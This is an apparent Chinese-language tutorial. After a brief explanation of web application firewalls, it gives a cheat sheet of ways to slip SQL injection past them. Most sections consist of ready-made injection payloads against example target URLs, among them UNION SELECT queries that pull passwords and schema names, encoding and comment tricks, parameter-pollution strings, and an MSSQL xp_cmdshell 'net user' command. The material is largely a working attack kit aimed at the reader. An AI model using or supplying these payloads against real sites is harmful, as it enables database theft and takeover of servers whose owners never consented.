Web应用程序防火墙(WAF)的主要作用是过滤，监控和阻止各类进出Web应用程序的HTTP流量。WAF区别于常规防火墙，因为WAF能够过滤特定Web应用程序的内容，而常规防火墙充当的则是服务器之间的安全门。通过检查HTTP流量，它可以防止源自Web应用安全漏洞的攻击，如SQL注入，XSS，文件包含和安全配置错误。
WAF是如何工作的?
- 协议异常检测：拒绝不符合HTTP标准的请求
- 增强的输入验证：代理和服务器端验证，而不仅仅是客户端验证
- 白名单和黑名单
- 基于规则和基于异常的保护：基于规则的更依赖黑名单机制，基于异常则更灵活
- 状态管理：关注会话保护还有：Cookie保护，反入侵规避技术，响应监控和信息披露保护。
如何绕过WAF?
1. 当我们在目标URL进行SQL注入测试时，可以通过修改注入语句中字母的大小写来触发WAF保护情况。如果WAF使用区分大小写的黑名单，则更改大小写可能会帮我们成功绕过WAF的过滤。
http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
2. 关键字替换(在关键字中间可插入将会被WAF过滤的字符) – 例如SELECT可插入变成SEL
http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
3. 编码
+ URL encode
- page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
+Hex encode
- target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…
- SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
+Unicode encode
- ?id=10%D6‘%20AND%2201=2%23
- SELECT 'Ä'='A'; #1
4. 使用注释
在攻击字符串中插入注释。例如，/*!SELECT*/ 这样WAF可能就会忽略该字符串，但它仍会被传递给目标应用程序并交由mysql数据库处理。
- index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
- 'union%a0select pass from users#
- index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
- ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
5. 某些函数或命令，因为WAF的过滤机制导致我们无法使用。那么，我们也可以尝试用一些等价函数来替代它们。
- hex()、bin() ==> ascii()
- sleep() ==>benchmark()
- concat_ws()==>group_concat()
- substr((select 'password'),1,1) = 0x70
- strcmp(left('password',1), 0x69) = 1
- strcmp(left('password',1), 0x70) = 0
- strcmp(left('password',1), 0x71) = -1
- mid()、substr() ==> substring()
- @@user ==> user()
- @@datadir ==> datadir()
6. 使用特殊符号
这里我把非字母数字的字符都规在了特殊符号一类，特殊符号有特殊的含义和用法。
- + ` symbol: select `version()`;
- + +- :select+id-1+1.from users;
- + @:select@^1.from users;
- +Mysql function() as xxx
- +`、~、!、@、%、()、[]、.、-、+ 、|、%00
示例
- ‘se’+’lec’+’t’
- %S%E%L%E%C%T 1
- 1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
- ' or --+2=- -!!!'2
- id=1+(UnI)(oN)+(SeL)(EcT)
7. HTTP参数控制
通过提供多个参数=相同名称的值集来混淆WAF。例如 http://example.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下(例如使用Apache/PHP)，应用程序将仅解析最后(第二个) id= 而WAF只解析第一个。在应用程序看来这似乎是一个合法的请求，因此应用程序会接收并处理这些恶意输入。如今，大多数的WAF都不会受到HTTP参数污染(HPP)的影响，但仍然值得一试。
+ HPP(HTTP Parameter Polution))
- /?id=1;select+1,2,3+from+users+where+id=1—
- /?id=1;select+1&id=2,3+from+users+where+id=1—
- /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP又称做重复参数污染，最简单的就是?uid=1&uid=2&uid=3，对于这种情况，不同的Web服务器处理方式如下：
+HPF (HTTP Parameter Fragment)
这种方法是HTTP分割注入，同CRLF有相似之处(使用控制字符%0a、%0d等执行换行)
- /?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
- select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—
+HPC (HTTP Parameter Contamination)
RFC2396定义了以下字符：
- Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
- Reserved : ; / ? : @ & = + $ ,
- Unwise : { } | \ ^ [ ] `
不同的Web服务器处理处理构造得特殊请求时有不同的逻辑：
以魔术字符%为例，Asp/Asp.net会受到影响
8. 缓冲区溢出
WAF和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况，那么WAF可能就会崩溃，即使不能代码执行那也会使WAF无法正常运行。这样，WAF的安全防护自然也就被瓦解了。
- ?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
9. 整合绕过
当使用单一的方式无法绕过时，我们则可以灵活的将多种方式结合在一起尝试。
- target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
- id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
- ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
